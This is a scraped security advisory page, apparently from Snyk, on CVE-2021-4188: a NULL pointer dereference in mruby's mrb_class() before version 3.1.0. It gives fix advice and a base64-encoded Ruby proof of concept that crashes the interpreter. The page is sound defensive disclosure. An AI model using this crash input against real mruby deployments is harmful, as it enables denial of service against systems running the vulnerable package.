NULL Pointer Dereference Affecting mruby/mruby package, versions [,3.1.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (44th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-MRUBYMRUBY-5498623
  • published8 May 2023
  • disclosed8 May 2023
  • creditaidaip

Introduced: 8 May 2023

CVE-2021-4188  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade mruby/mruby to version 3.1.0 or higher.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference in mrb_class(). The vulnerability causes a segmentation fault and application crash.

PoC

base64 poc
Y2xhc3MgVmNsYXNzDQoJQEB2YXJyID0gWzEsMiwzLDQsNSw2LDcsOCw5LDEwLCoxLDEyLDEzLDE0
LDE1LDE2LDE3XQ0KCWRlZiB2YXJyDQoJCUBAdmFycg0KCWVuZA0KCWRlZiB0b19pJnQNCgkJQEB2
YXJyLmNsZWFyDQoJCTExDQoJZW5kDQplbmQNCg0Kb2JqID0gVmNsYXNzLm5ldw0KDQpwcmludCBv
YmoudmFyci5zaGlmdChvYmop

References

CVSS Scores

version 3.1